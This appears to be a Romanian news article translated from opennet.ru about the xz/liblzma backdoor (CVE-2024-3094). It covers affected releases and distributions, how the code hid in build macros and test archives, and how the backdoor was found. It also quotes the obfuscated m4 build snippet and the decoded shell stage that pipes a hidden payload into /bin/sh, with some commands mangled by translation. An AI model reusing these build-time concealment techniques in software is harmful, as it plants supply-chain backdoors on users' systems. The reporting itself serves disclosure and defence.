A fost descoperită o ușă din spate în biblioteca xz/liblzma care permite intrarea prin sshd

În pachetul XZ Utils, care include biblioteca liblzma și utilități pentru lucrul cu date comprimate în format „.xz”, a fost identificat un backdoor (CVE-2024-3094) care permite interceptarea și modificarea datelor prelucrate de aplicațiile asociate cu biblioteca liblzma. Ținta principală a ușii din spate este serverul OpenSSH, care în unele distribuții este inclus cu biblioteca libsystemd, care la rândul său folosește liblzma. Conectarea sshd cu o bibliotecă vulnerabilă permite atacatorilor să obțină acces la serverul SSH fără autentificare.

Backdoor a fost prezent în versiunile oficiale 5.6.0 și 5.6.1, publicate pe 24 februarie și 9 martie, care au reușit să intre în unele distribuții și depozite, de exemplu, Gentoo, Arch Linux, Debian sid/unstable, Fedora Rawhide și 40-beta, fabrică openSUSE și tumbleweed, LibreELEC, Alpine edge, Solus, NixOS instabil, OpenIndiana, OpenMandriva rolling, curent pkgsrc, curent Slackware, testare Manjaro. Se recomandă tuturor utilizatorilor versiunilor xz 5.6.0 și 5.6.1 să revină urgent la versiunea 5.4.6.

Printre factorii care atenuează problema, se poate remarca faptul că versiunea de liblzma cu backdoor nu a reușit să devină parte a versiunilor stabile ale distribuțiilor mari, ci a afectat openSUSE Tumbleweed și Fedora 40-beta. Arch Linux și Gentoo au folosit o versiune vulnerabilă a zx, dar nu sunt susceptibile la atac, deoarece nu aplică corecția systemd-notify la openssh, ceea ce face ca sshd să fie conectat la liblzma. Ușa din spate afectează numai sistemele x86_64 bazate pe nucleul Linux și biblioteca Glibc C.

Codul de activare backdoor a fost ascuns în macrocomenzile m4 din fișierul build-to-host.m4 folosit de setul de instrumente automake la construirea. În timpul asamblarii, în timpul execuției unor operațiuni complicate ofuscate bazate pe arhive (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), folosite pentru a testa corectitudinea funcționării, a fost generat un fișier obiect cu cod rău intenționat, care a fost inclus în biblioteca liblzma și a schimbat logica de funcționare unele dintre funcțiile sale. Macrocomenzile m4 care activează ușa din spate au fost incluse în tarball-urile de lansare, dar nu au fost în depozitul Git. În același timp, arhivele de testare rău intenționate erau prezente în depozit, adică. persoana care a implementat backdoor a avut acces atât la depozit, cât și la procesele de generare a versiunilor.

Când utilizați liblzma în aplicații, modificările rău intenționate pot fi utilizate pentru a intercepta sau modifica datele sau pentru a afecta funcționarea sshd. În special, codul rău intenționat a falsificat funcția RSA_public_decrypt pentru a ocoli procesul de autentificare sshd. Ușa din spate includea protecție împotriva detectării și nu s-a manifestat atunci când variabilele de mediu LANG și TERM au fost setate (adică, la rularea procesului în terminal) și variabilele de mediu LD_DEBUG și LD_PROFILE nu au fost setate și, de asemenea, a fost activată numai la executarea /usr/sbin/sshd fișier executabil . Ușa din spate avea și un mijloc de detectare a execuției în medii de depanare.

În special, fișierul m4/build-to-host.m4 a folosit gl_am_configmake=`grep -aErls „#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

În prima construcție, operația grep a găsit fișierul tests/files/bad-3-corrupt_lzma2.xz, care, atunci când a fost despachetat, a generat scriptul: ####Hello#### #345U211267$^D330^W [ ! $(uname) = "Linux" ] && ieșire 0 [ ! $(uname) = "Linux" ] && ieșire 0 [ ! $(uname) = "Linux" ] && ieșire 0 [ ! $(uname) = "Linux" ] && ieșire 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` dacă testul -f ../../config.status;atunci eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi export i=»((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/ null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head - c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head - c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/ dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && ( head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F brut —lzma1 -dc|/bin/sh ####World####

Cum au reușit atacatorii să obțină acces la infrastructura proiectului xz nu a fost încă pe deplin clarificat. De asemenea, nu este încă clar câți utilizatori și proiecte au fost compromise ca urmare a ușii din spate. Presupusul autor al ușii din spate (JiaT75 - Jia Tan), care a postat arhive cu cod rău intenționat în depozit, a corespondat cu dezvoltatorii Fedora și a trimis solicitări de extragere către Debian legate de tranziția distribuțiilor la ramura xz 5.6.0 și nu a făcut-o. trezesc suspiciuni, de când a participat la xz se dezvoltă în ultimii doi ani și este al doilea dezvoltator în ceea ce privește numărul de modificări făcute. Pe lângă proiectul xz, presupusul autor al ușii din spate a participat și la dezvoltarea pachetelor xz-java și xz-embedded. Mai mult decât atât, Jia Tan în urmă cu câteva zile a fost inclus în numărul de menținători ai proiectului XZ Embedded folosit în kernel-ul Linux.

Schimbarea rău intenționată a fost descoperită după analizarea consumului excesiv de CPU și a erorilor generate de valgrind la conectarea prin ssh la sisteme bazate pe Debian sid. Este de remarcat faptul că versiunea xz 5.6.1 a inclus modificări pregătite de presupusul autor al ușii din spate ca răspuns la plângerile privind încetinirile și blocările sshd care au apărut după actualizarea la versiunea zx 5.6.0 cu ușa din spate. În plus, anul trecut Jia Tan a făcut modificări care erau incompatibile cu modul de inspecție „-fsanitize=address”, ceea ce a făcut ca acesta să fie dezactivat în timpul testării fuzz.

Sursa: opennet.ru

Adauga un comentariu